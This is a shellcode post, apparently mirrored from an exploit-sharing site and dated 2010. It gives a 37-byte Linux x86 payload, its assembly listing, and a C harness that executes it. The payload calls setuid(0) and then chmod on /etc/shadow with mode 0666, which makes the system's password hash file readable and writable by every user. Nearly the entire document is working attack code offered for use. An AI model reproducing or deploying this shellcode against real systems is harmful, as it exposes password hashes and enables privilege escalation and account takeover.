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linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 bytes
来源:Inj3ct0r.com 作者:antrhacks 发布时间:2010-05-04  
===================================================================
linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 bytes
===================================================================


/*
* Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
* Type: Shellcode
* Author: antrhacks
* Platform: Linux X86
*/

/* ASSembly
31 db                xor    %ebx,%ebx
b0 17                mov    $0x17,%al
cd 80                int    $0x80
31 c0                xor    %eax,%eax
50                   push   %eax
68 61 64 6f 77       push   $0x776f6461
68 63 2f 73 68       push   $0x68732f63
68 2f 2f 65 74       push   $0x74652f2f
89 e3                mov    %esp,%ebx
66 b9 b6 01          mov    $0x1b6,%cx
b0 0f                mov    $0xf,%al
cd 80                int    $0x80
40                   inc    %eax
cd 80                int    $0x80
*/

int main(){
char shell[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50"
"\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68"
"\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01"
"\xb0\x0f\xcd\x80\x40\xcd\x80";

printf("[*] Taille du ShellCode = %d\n", strlen(shell));
(*(void (*)()) shell)();

return 0;
}


}


 
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